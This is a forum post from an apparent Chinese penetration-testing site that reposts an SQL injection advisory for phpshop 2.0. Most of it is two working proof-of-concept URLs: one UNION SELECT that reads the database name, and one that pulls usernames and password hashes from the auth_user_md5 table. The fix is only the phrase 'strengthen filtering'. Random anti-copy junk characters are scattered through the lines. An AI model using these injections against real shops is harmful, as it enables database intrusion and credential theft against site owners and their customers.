中国网络渗透测试联盟

标题: phpshop 2.0 SQL注入及修复 [打印本页]

---

作者: admin    时间: 2013-1-18 18:24
标题: phpshop 2.0 SQL注入及修复
标题 : phpshop 2.0 SQL Injection Vulnerability

% V2 \% Q6 p4 T, B- ]7 e, u& H作者 : By onestree
' g& q5 ?% e1 a! @. `下载地址 : http://code.google.com/p/phpshop/downloads/list
, M# M, Y# c+ P6 z; @! x测试地址: windows 7 / ubuntu

& d9 p9 d) N, W" S. }; U. i
9 F2 D+ C. x' Q, ^" vSQLi p0c:

==================
; P) X: P) e: u- _. a
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
* w; n1 Q- |. ^3 S/ V, ^' n& O7 Z
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

0 H# \( ], M0 z: D2 ~修复：
加强过滤
6 t5 t/ G& ?- `- O8 t6 ~8 e( x​

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2